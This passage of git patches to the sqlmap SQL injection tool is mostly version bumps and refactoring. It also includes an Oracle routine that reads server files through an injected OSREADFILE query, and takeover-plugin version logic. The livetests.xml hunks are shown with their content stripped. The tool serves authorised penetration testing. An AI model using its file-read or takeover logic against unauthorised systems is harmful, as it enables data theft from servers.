2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index f9ccb46b2af..2e54f0236a4 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -47,22 +47,10 @@ def udfSetLocalPaths(self): banVer = kb.bannerFp["dbmsVersion"] - if banVer >= "9.4": - majorVer = "9.4" - elif banVer >= "9.3": - majorVer = "9.3" - elif banVer >= "9.2": - majorVer = "9.2" - elif banVer >= "9.1": - majorVer = "9.1" - elif banVer >= "9.0": - majorVer = "9.0" - elif banVer >= "8.4": - majorVer = "8.4" - elif banVer >= "8.3": - majorVer = "8.3" - elif banVer >= "8.2": - majorVer = "8.2" + if banVer >= "10": + majorVer = banVer.split('.')[0] + elif banVer >= "8.2" and '.' in banVer: + majorVer = '.'.join(banVer.split('.')[:2]) else: errMsg = "unsupported feature on versions of PostgreSQL before 8.2" raise SqlmapUnsupportedFeatureException(errMsg) From ceb718107ff11fd0d7215d53bbbf33a518a8a314 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 5 Jun 2019 14:23:30 +0200 Subject: [PATCH 457/800] Patch for live-testing --- data/xml/livetests.xml | 266 ++++++++++++++++++++--------------------- lib/core/convert.py | 2 +- lib/core/settings.py | 2 +- 3 files changed, 135 insertions(+), 135 deletions(-) diff --git a/data/xml/livetests.xml b/data/xml/livetests.xml index 06b8bc4cc6b..876b63fe9cd 100644 --- a/data/xml/livetests.xml +++ b/data/xml/livetests.xml @@ -62,11 +62,11 @@ - - - - - + + + + + @@ -106,11 +106,11 @@ - - - - - + + + + + @@ -150,11 +150,11 @@ - - - - - + + + + + @@ -194,11 +194,11 @@ - - - - - + + + + + @@ -220,8 +220,8 @@ - - + + @@ -252,11 +252,11 @@ - - - - - + + + + + @@ -295,10 +295,10 @@ - + - - + + @@ -338,10 +338,10 @@ - + - - + + @@ -381,10 +381,10 @@ - + - - + + @@ -424,10 +424,10 @@ - + - - + + @@ -449,8 +449,8 @@ - - + + @@ -463,8 +463,8 @@ - - + + @@ -495,10 +495,10 @@ - + - - + + @@ -536,11 +536,11 @@ - - - - - + + + + + @@ -578,11 +578,11 @@ - - - - - + + + + + @@ -621,11 +621,11 @@ - - - - - + + + + + @@ -665,11 +665,11 @@ - - - - - + + + + + @@ -691,8 +691,8 @@ - - + + @@ -722,11 +722,11 @@ - - - - - + + + + + @@ -765,11 +765,11 @@ - - - - - + + + + + @@ -808,7 +808,7 @@ - + @@ -841,7 +841,7 @@ - + @@ -873,7 +873,7 @@ - + @@ -907,7 +907,7 @@ - + @@ -940,7 +940,7 @@ - + @@ -972,7 +972,7 @@ - + @@ -990,7 +990,7 @@ - + @@ -3460,7 +3460,7 @@ - + @@ -3472,7 +3472,7 @@ - + @@ -3484,7 +3484,7 @@ - + @@ -3498,7 +3498,7 @@ - + @@ -3511,7 +3511,7 @@ - + @@ -3544,11 +3544,11 @@ - - - - - + + + + + @@ -3568,7 +3568,7 @@ - + @@ -3580,7 +3580,7 @@ - + @@ -3592,7 +3592,7 @@ - + @@ -3605,7 +3605,7 @@ - + @@ -3617,7 +3617,7 @@ - + @@ -3629,7 +3629,7 @@ - + diff --git a/lib/core/convert.py b/lib/core/convert.py index a8cdfe1c249..685d45cf302 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -345,7 +345,7 @@ def stdoutEncode(value): kb.codePage = kb.codePage or "" if isinstance(value, six.text_type): - encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING + encoding = kb.get("codePage") or getattr(sys.stdout, "encoding", None) or UNICODE_ENCODING while True: try: diff --git a/lib/core/settings.py b/lib/core/settings.py index 26a609ac05f..556cb3403e4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.20" +VERSION = "1.3.6.21" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0e409d447931a1d5c3816e73431d854dbf81d60b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 11:44:27 +0200 Subject: [PATCH 458/800] Fixes #3740 --- lib/core/settings.py | 2 +- lib/techniques/error/use.py | 2 +- plugins/dbms/oracle/filesystem.py | 10 +++++----- 3 files changed, 7 insertions(+), 7 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 556cb3403e4..f0bfbacb50a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.21" +VERSION = "1.3.6.22" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/techniques/error/use.py b/lib/techniques/error/use.py index 22c8fd5de41..759e5220892 100644 --- a/lib/techniques/error/use.py +++ b/lib/techniques/error/use.py @@ -452,7 +452,7 @@ def errorThread(): value = _errorFields(expression, expressionFields, expressionFieldsList) if value and isListLike(value): - if len(value) == 1 and isinstance(value[0], six.string_types): + if len(value) == 1 and isinstance(value[0], (six.string_types, type(None))): value = unArrayizeValue(value) elif len(value) > 1 and stopLimit == 1: value = [value] diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index 7153244459e..cdaa5b4e7b2 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -9,6 +9,7 @@ from lib.core.common import dataToOutFile from lib.core.common import decodeDbmsHexValue from lib.core.common import getSQLSnippet +from lib.core.common import isNoneValue from lib.core.data import kb from lib.core.data import logger from lib.core.enums import CHARSET_TYPE @@ -38,16 +39,15 @@ def readFile(self, remoteFile): fileContent = inject.getValue("SELECT RAWTOHEX(OSREADFILE('%s')) FROM DUAL" % remoteFile, charsetType=CHARSET_TYPE.HEXADECIMAL) kb.fileReadMode = False - if fileContent is not None: + if not isNoneValue(fileContent): fileContent = decodeDbmsHexValue(fileContent, True) if fileContent: localFilePath = dataToOutFile(remoteFile, fileContent) - localFilePaths.append(localFilePath) - else: - errMsg = "no data retrieved" - logger.error(errMsg) + else: + errMsg = "no data retrieved" + logger.error(errMsg) return localFilePaths From 677dd20d6cb8a11136a527de44eb19a9aa5b508e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 12:13:30 +0200 Subject: [PATCH 459/800] Considerable improvement of --parse-errors (and patch) --- lib/core/common.py | 5 ++++- lib/core/settings.py | 2 +- 2 files changed, 5 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 5fcfc68ee41..17980c481ce 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2651,12 +2651,15 @@ def extractErrorMessage(page): retVal = None if isinstance(page, six.string_types): + if wasLastResponseDBMSError(): + page = re.sub(r"<[^>]+>", "", page) + for regex in ERROR_PARSING_REGEXES: match = re.search(regex, page, re.IGNORECASE) if match: candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() - if re.search(r"\b([a-z]+ ){5}", candidate) is None: # check for legitimate (e.g. Warning:...) text + if re.search(r"\b([a-z]+ ){5}", candidate) is not None: # check for legitimate (e.g. Warning:...) text retVal = candidate break diff --git a/lib/core/settings.py b/lib/core/settings.py index f0bfbacb50a..22b7e19fd9c 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.22" +VERSION = "1.3.6.23" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 1c2dec031cd5ce7279aea28cc51300e3d3082f6c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 12:46:38 +0200 Subject: [PATCH 460/800] 'Calling Travis' --- lib/core/common.py | 3 ++- lib/core/settings.py | 5 ++++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 17980c481ce..577d6f44dcd 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -140,6 +140,7 @@ from lib.core.settings import LARGE_OUTPUT_THRESHOLD from lib.core.settings import LOCALHOST from lib.core.settings import MIN_ENCODED_LEN_CHECK +from lib.core.settings import MIN_ERROR_PARSING_NON_WRITING_RATIO from lib.core.settings import MIN_TIME_RESPONSES from lib.core.settings import MIN_VALID_DELAYED_RESPONSE from lib.core.settings import NETSCAPE_FORMAT_HEADER_COOKIES @@ -2659,7 +2660,7 @@ def extractErrorMessage(page): if match: candidate = htmlUnescape(match.group("result")).replace("
", "\n").strip() - if re.search(r"\b([a-z]+ ){5}", candidate) is not None: # check for legitimate (e.g. Warning:...) text + if (1.0 * len(re.findall(r"[^A-Za-z,. ]", candidate))) / len(candidate) > MIN_ERROR_PARSING_NON_WRITING_RATIO: retVal = candidate break diff --git a/lib/core/settings.py b/lib/core/settings.py index 22b7e19fd9c..19ad3316aee 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.23" +VERSION = "1.3.6.24" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -542,6 +542,9 @@ # Period after last-update to start nagging about the old revision LAST_UPDATE_NAGGING_DAYS = 60 +# Minimum non-writing chars (e.g. ['"-:/]) ratio in case of parsed error messages +MIN_ERROR_PARSING_NON_WRITING_RATIO = 0.05 + # Generic address for checking the Internet connection while using switch --check-internet CHECK_INTERNET_ADDRESS = "https://ipinfo.io/" From 87525d8bcba866d69d040dbe686bd285279b6e39 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 13:08:56 +0200 Subject: [PATCH 461/800] Adding deprecated options (along with obsolete) --- lib/core/common.py | 10 ++++++++-- lib/core/dicts.py | 5 ++++- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 7 +++++-- 4 files changed, 18 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 577d6f44dcd..d057754aada 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -70,6 +70,7 @@ from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DEFAULT_DOC_ROOTS +from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.dicts import OBSOLETE_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY @@ -4466,9 +4467,9 @@ def getHostHeader(url): return retVal -def checkObsoleteOptions(args): +def checkOldOptions(args): """ - Checks for obsolete options + Checks for obsolete/deprecated options """ for _ in args: @@ -4478,6 +4479,11 @@ def checkObsoleteOptions(args): if OBSOLETE_OPTIONS[_]: errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_] raise SqlmapSyntaxException(errMsg) + elif _ in DEPRECATED_OPTIONS: + warnMsg = "switch/option '%s' is deprecated" % _ + if DEPRECATED_OPTIONS[_]: + warnMsg += " (hint: %s)" % DEPRECATED_OPTIONS[_] + logger.warn(warnMsg) def checkSystemEncoding(): """ diff --git a/lib/core/dicts.py b/lib/core/dicts.py index d0b85ff0c09..21861f1f5f3 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -290,10 +290,13 @@ "--purge-output": "use '--purge' instead", "--check-payload": None, "--check-waf": None, - "--identify-waf": "functionality being done automatically", "--pickled-options": "use '--api -c ...' instead", } +DEPRECATED_OPTIONS = { + "--identify-waf": "functionality being done automatically", +} + DUMP_DATA_PREPROCESS = { DBMS.ORACLE: {"XMLTYPE": "(%s).getStringVal()"}, # Reference: https://www.tibcommunity.com/docs/DOC-3643 DBMS.MSSQL: {"IMAGE": "CONVERT(VARBINARY(MAX),%s)"}, diff --git a/lib/core/settings.py b/lib/core/settings.py index 19ad3316aee..3e51e271a24 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.24" +VERSION = "1.3.6.25" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index a5ba73f650d..ebd6b7ab175 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -17,7 +17,7 @@ from optparse import OptionParser from optparse import SUPPRESS_HELP -from lib.core.common import checkObsoleteOptions +from lib.core.common import checkOldOptions from lib.core.common import checkSystemEncoding from lib.core.common import dataToStdout from lib.core.common import expandMnemonics @@ -28,6 +28,7 @@ from lib.core.data import conf from lib.core.data import logger from lib.core.defaults import defaults +from lib.core.dicts import DEPRECATED_OPTIONS from lib.core.enums import AUTOCOMPLETE_TYPE from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSyntaxException @@ -789,7 +790,7 @@ def _(self, *args): _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ - checkObsoleteOptions(argv) + checkOldOptions(argv) prompt = "--sqlmap-shell" in argv @@ -854,6 +855,8 @@ def _(self, *args): elif re.search(r"\A-\w=.+", argv[i]): dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i]) raise SystemExit + elif argv[i] in DEPRECATED_OPTIONS: + argv[i] = "" elif argv[i].startswith("--tamper"): if tamperIndex is None: tamperIndex = i if '=' in argv[i] else (i + 1 if i + 1 < len(argv) and not argv[i + 1].startswith('-') else None) From 3d150233c54976f8394aa1ed8d031504b8148300 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 13:09:08 +0200 Subject: [PATCH 462/800] Removing old file --- extra/shutils/pylint.py | 52 ----------------------------------------- lib/core/settings.py | 2 +- 2 files changed, 1 insertion(+), 53 deletions(-) delete mode 100755 extra/shutils/pylint.py diff --git a/extra/shutils/pylint.py b/extra/shutils/pylint.py deleted file mode 100755 index cec5321b2fb..00000000000 --- a/extra/shutils/pylint.py +++ /dev/null @@ -1,52 +0,0 @@ -#! /usr/bin/env python - -# Runs pylint on all python scripts found in a directory tree -# Reference: http://rowinggolfer.blogspot.com/2009/08/pylint-recursively.html - -from __future__ import print_function - -import os -import re -import sys - -total = 0.0 -count = 0 - -__RATING__ = False - -def check(module): - global total, count - - if module[-3:] == ".py": - - print("CHECKING ", module) - pout = os.popen("pylint --rcfile=/dev/null %s" % module, 'r') - for line in pout: - if re.match(r"\AE:", line): - print(line.strip()) - if __RATING__ and "Your code has been rated at" in line: - print(line) - score = re.findall(r"\d.\d\d", line)[0] - total += float(score) - count += 1 - -if __name__ == "__main__": - try: - print(sys.argv) - BASE_DIRECTORY = sys.argv[1] - except IndexError: - print("no directory specified, defaulting to current working directory") - BASE_DIRECTORY = os.getcwd() - - print("looking for *.py scripts in subdirectories of ", BASE_DIRECTORY) - for root, dirs, files in os.walk(BASE_DIRECTORY): - if any(_ in root for _ in ("extra", "thirdparty")): - continue - for name in files: - filepath = os.path.join(root, name) - check(filepath) - - if __RATING__: - print("==" * 50) - print("%d modules found" % count) - print("AVERAGE SCORE = %.02f" % (total / count)) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3e51e271a24..dc3faa4a0c3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.25" +VERSION = "1.3.6.26" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 10152db8ee88b1d0126102fc64d72a297c8c7657 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 13:40:32 +0200 Subject: [PATCH 463/800] Minor patch for PIP --smoke --- lib/core/settings.py | 2 +- sqlmapapi.py | 10 +++++++++- 2 files changed, 10 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index dc3faa4a0c3..cf2f30f6237 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.26" +VERSION = "1.3.6.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmapapi.py b/sqlmapapi.py index e491417dd07..28da9036995 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -13,12 +13,13 @@ import logging import optparse +import os import warnings warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) -from sqlmap import modulePath +from lib.core.common import getUnicode from lib.core.common import setPaths from lib.core.data import logger from lib.core.patch import dirtyPatches @@ -26,9 +27,16 @@ from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import UNICODE_ENCODING from lib.utils.api import client from lib.utils.api import server +try: + from sqlmap import modulePath +except ImportError: + def modulePath(): + return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + def main(): """ REST-JSON API main function From 8a97e7edcc8a0fd08cd65d5389eb8bfd6d5097aa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 23:13:34 +0200 Subject: [PATCH 464/800] Trivial renaming --- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index cf2f30f6237..2a8ad6a4a2d 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.27" +VERSION = "1.3.6.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index 8d7e70d60b1..bad21acc8c5 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -294,7 +294,7 @@ def getPage(**kwargs): post = _urllib.parse.unquote(post) post = chunkSplitPostData(post) - websocket_ = url.lower().startswith("ws") + webSocket = url.lower().startswith("ws") if not _urllib.parse.urlsplit(url).netloc: url = _urllib.parse.urljoin(conf.url, url) @@ -434,7 +434,7 @@ def getPage(**kwargs): post = getBytes(post) - if websocket_: + if webSocket: ws = websocket.WebSocket() ws.settimeout(timeout) ws.connect(url, header=("%s: %s" % _ for _ in headers.items() if _[0] not in ("Host",)), cookie=cookie) # WebSocket will add Host field of headers automatically From 02c8f4789224d238884e0fd8e1d402658a5a37aa Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 6 Jun 2019 23:45:30 +0200 Subject: [PATCH 465/800] Adding support for WebSocket over SSL (wss://) --- lib/core/common.py | 9 ++++++--- lib/core/settings.py | 2 +- lib/request/connect.py | 4 ++-- 3 files changed, 9 insertions(+), 6 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index d057754aada..b4fc24daba2 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1541,7 +1541,7 @@ def parseTargetUrl(): errMsg += "on this platform" raise SqlmapGenericException(errMsg) - if not re.search(r"^https?://", conf.url, re.I) and not re.search(r"^wss?://", conf.url, re.I): + if not re.search(r"^(http|ws)s?://", conf.url, re.I): if re.search(r":443\b", conf.url): conf.url = "https://%s" % conf.url else: @@ -1560,10 +1560,13 @@ def parseTargetUrl(): hostnamePort = urlSplit.netloc.split(":") if not re.search(r"\[.+\]", urlSplit.netloc) else filterNone((re.search(r"\[.+\]", urlSplit.netloc).group(0), re.search(r"\](:(?P\d+))?", urlSplit.netloc).group("port"))) - conf.scheme = (urlSplit.scheme.strip().lower() or "http") if not conf.forceSSL else "https" + conf.scheme = (urlSplit.scheme.strip().lower() or "http") conf.path = urlSplit.path.strip() conf.hostname = hostnamePort[0].strip() + if conf.forceSSL: + conf.scheme = re.sub(r"(?i)\A(http|ws)\Z", r"\g<1>s", conf.scheme) + conf.ipv6 = conf.hostname != conf.hostname.strip("[]") conf.hostname = conf.hostname.strip("[]").replace(kb.customInjectionMark, "") @@ -1585,7 +1588,7 @@ def parseTargetUrl(): except: errMsg = "invalid target URL" raise SqlmapSyntaxException(errMsg) - elif conf.scheme == "https": + elif conf.scheme in ("https", "wss"): conf.port = 443 else: conf.port = 80 diff --git a/lib/core/settings.py b/lib/core/settings.py index 2a8ad6a4a2d..7993c34a3e8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.6.28" +VERSION = "1.3.6.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/connect.py b/lib/request/connect.py index bad21acc8c5..481599c3495 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -346,8 +346,8 @@ def getPage(**kwargs): pass elif target: - if conf.forceSSL and _urllib.parse.urlparse(url).scheme != "https": - url = re.sub(r"(?i)\Ahttp:", "https:", url) + if conf.forceSSL: + url = re.sub(r"(?i)\A(http|ws):", r"\g<1>s:", url) url = re.sub(r"(?i):80/", ":443/", url) if PLACE.GET in conf.parameters and not get: From 28c5a709bd91a42bdbb4774027111a8c6ebc65be Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 7 Jun 2019 00:21:43 +0200 Subject: [PATCH 466/800] Minor renaming --- data/xml/livetests.xml | 416 +++++++++++++++++------------------ lib/controller/checks.py | 4 +- lib/controller/controller.py | 6 +- lib/core/common.py | 2 +- lib/core/defaults.py | 2 +- lib/core/option.py | 8 +- lib/core/optiondict.py | 2 +- lib/core/settings.py | 4 +- lib/core/target.py | 6 +- lib/parse/cmdline.py | 4 +- sqlmap.conf | 2 +- swagger.yaml | 4 +- 12 files changed, 230 insertions(+), 230 deletions(-) diff --git a/data/xml/livetests.xml b/data/xml/livetests.xml index 876b63fe9cd..b30b9b290b3 100644 --- a/data/xml/livetests.xml +++ b/data/xml/livetests.xml @@ -18,7 +18,7 @@ - + @@ -39,7 +39,7 @@ - + @@ -82,7 +82,7 @@ - + @@ -126,7 +126,7 @@ - + @@ -170,7 +170,7 @@ - + @@ -213,7 +213,7 @@ - + @@ -228,7 +228,7 @@ - + @@ -272,7 +272,7 @@ - + @@ -314,7 +314,7 @@ - + @@ -357,7 +357,7 @@ - + @@ -400,7 +400,7 @@ - + @@ -442,7 +442,7 @@ - + @@ -456,7 +456,7 @@ - + @@ -471,7 +471,7 @@ - + @@ -514,7 +514,7 @@ - + @@ -555,7 +555,7 @@ - + @@ -598,7 +598,7 @@ - + @@ -641,7 +641,7 @@ - + @@ -684,7 +684,7 @@ - + @@ -699,7 +699,7 @@ - + @@ -742,7 +742,7 @@ - + @@ -785,7 +785,7 @@ - + @@ -818,7 +818,7 @@ - + @@ -851,7 +851,7 @@ - + @@ -884,7 +884,7 @@ - + @@ -917,7 +917,7 @@ - + @@ -950,7 +950,7 @@ - + @@ -981,7 +981,7 @@ - + @@ -998,7 +998,7 @@ - + @@ -1031,7 +1031,7 @@ - + @@ -1071,7 +1071,7 @@ - + @@ -1110,7 +1110,7 @@ - + @@ -1148,7 +1148,7 @@ - + @@ -1186,7 +1186,7 @@ - + @@ -1203,7 +1203,7 @@ - + @@ -1245,7 +1245,7 @@ - + @@ -1263,7 +1263,7 @@ - + @@ -1281,7 +1281,7 @@ - + @@ -1297,7 +1297,7 @@ - + @@ -1315,7 +1315,7 @@ - + @@ -1333,7 +1333,7 @@ - + @@ -1349,7 +1349,7 @@ - + @@ -1367,7 +1367,7 @@ - + @@ -1385,7 +1385,7 @@ - + @@ -1401,7 +1401,7 @@ - + @@ -1418,7 +1418,7 @@ - + @@ -1435,7 +1435,7 @@ - + @@ -1451,7 +1451,7 @@ - + @@ -1468,7 +1468,7 @@ - + @@ -1486,7 +1486,7 @@ - + @@ -1498,7 +1498,7 @@ - + @@ -1511,7 +1511,7 @@ - + @@ -1523,7 +1523,7 @@ - + @@ -1536,7 +1536,7 @@ - + @@ -1548,7 +1548,7 @@ - + @@ -1561,7 +1561,7 @@ - + @@ -1573,7 +1573,7 @@ - + @@ -1586,7 +1586,7 @@ - + @@ -1598,7 +1598,7 @@ - + @@ -1611,7 +1611,7 @@ - + @@ -1623,7 +1623,7 @@ - + @@ -1636,7 +1636,7 @@ - + @@ -1648,7 +1648,7 @@ - + @@ -1661,7 +1661,7 @@ - + @@ -1673,7 +1673,7 @@ - + @@ -1686,7 +1686,7 @@ - + @@ -1698,7 +1698,7 @@ - + @@ -1711,7 +1711,7 @@ - + @@ -1723,7 +1723,7 @@ - + @@ -1736,7 +1736,7 @@ - + @@ -1748,7 +1748,7 @@ - + @@ -1760,7 +1760,7 @@ - + @@ -1772,7 +1772,7 @@ - + @@ -1788,7 +1788,7 @@ - + @@ -1800,7 +1800,7 @@ - + @@ -1812,7 +1812,7 @@ - + @@ -1824,7 +1824,7 @@ - + @@ -1838,7 +1838,7 @@ - + @@ -1852,7 +1852,7 @@ - + @@ -1866,7 +1866,7 @@ - + @@ -1879,7 +1879,7 @@ - + @@ -1892,7 +1892,7 @@ - + @@ -1905,7 +1905,7 @@ - + @@ -1919,7 +1919,7 @@ - + @@ -1933,7 +1933,7 @@ - + @@ -1947,7 +1947,7 @@ - + @@ -1962,7 +1962,7 @@ - + @@ -1977,7 +1977,7 @@ - + @@ -1992,7 +1992,7 @@ - + @@ -2007,7 +2007,7 @@ - + @@ -2022,7 +2022,7 @@ - + @@ -2037,7 +2037,7 @@ - + @@ -2052,7 +2052,7 @@ - + @@ -2067,7 +2067,7 @@ - + @@ -2082,7 +2082,7 @@ - + @@ -2094,7 +2094,7 @@ - + @@ -2106,7 +2106,7 @@ - + @@ -2118,7 +2118,7 @@ - + @@ -2132,7 +2132,7 @@ - + @@ -2146,7 +2146,7 @@ - + @@ -2160,7 +2160,7 @@ - + @@ -2173,7 +2173,7 @@ - + @@ -2186,7 +2186,7 @@ - + @@ -2199,7 +2199,7 @@ - + @@ -2213,7 +2213,7 @@ - + @@ -2227,7 +2227,7 @@ - + @@ -2241,7 +2241,7 @@ - + @@ -2256,7 +2256,7 @@ - + @@ -2271,7 +2271,7 @@ - + @@ -2286,7 +2286,7 @@ - + @@ -2301,7 +2301,7 @@ - + @@ -2316,7 +2316,7 @@ - + @@ -2331,7 +2331,7 @@ - + @@ -2347,7 +2347,7 @@ - + @@ -2363,7 +2363,7 @@ - + @@ -2379,7 +2379,7 @@ - + @@ -2391,7 +2391,7 @@ - + @@ -2403,7 +2403,7 @@ - + @@ -2415,7 +2415,7 @@ - + @@ -2429,7 +2429,7 @@ - + @@ -2444,7 +2444,7 @@ - + @@ -2459,7 +2459,7 @@ - + @@ -2472,7 +2472,7 @@ - + @@ -2485,7 +2485,7 @@ - + @@ -2498,7 +2498,7 @@ - + @@ -2511,7 +2511,7 @@ - + @@ -2524,7 +2524,7 @@ - + @@ -2537,7 +2537,7 @@ - + @@ -2551,7 +2551,7 @@ - + @@ -2565,7 +2565,7 @@ - + @@ -2579,7 +2579,7 @@ - + @@ -2593,7 +2593,7 @@ - + @@ -2607,7 +2607,7 @@ - + @@ -2621,7 +2621,7 @@ - + @@ -2636,7 +2636,7 @@ - + @@ -2651,7 +2651,7 @@ - + @@ 